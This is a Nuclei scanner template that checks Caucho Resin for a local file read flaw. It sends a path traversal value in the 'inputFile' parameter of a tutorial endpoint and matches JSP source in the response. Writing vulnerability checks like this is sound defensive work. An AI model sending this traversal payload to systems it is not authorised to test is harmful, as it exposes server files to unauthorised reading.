nuclei-templates/vulnerabilities/other/resin-inputfile-fileread.yaml

21 lines
514 B
YAML
Raw Normal View History

2021-04-22 13:46:56 +00:00
id: resin-inputfile-fileread
info:
name: Caucho Resin LFR
author: princechaddha
severity: high
tags: resin,caucho,lfr
requests:
- method: GET
path:
- "{{BaseURL}}/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=../../../../../index.jsp"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
2021-06-23 20:58:18 +00:00
- "%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %"
2021-04-22 13:46:56 +00:00
part: body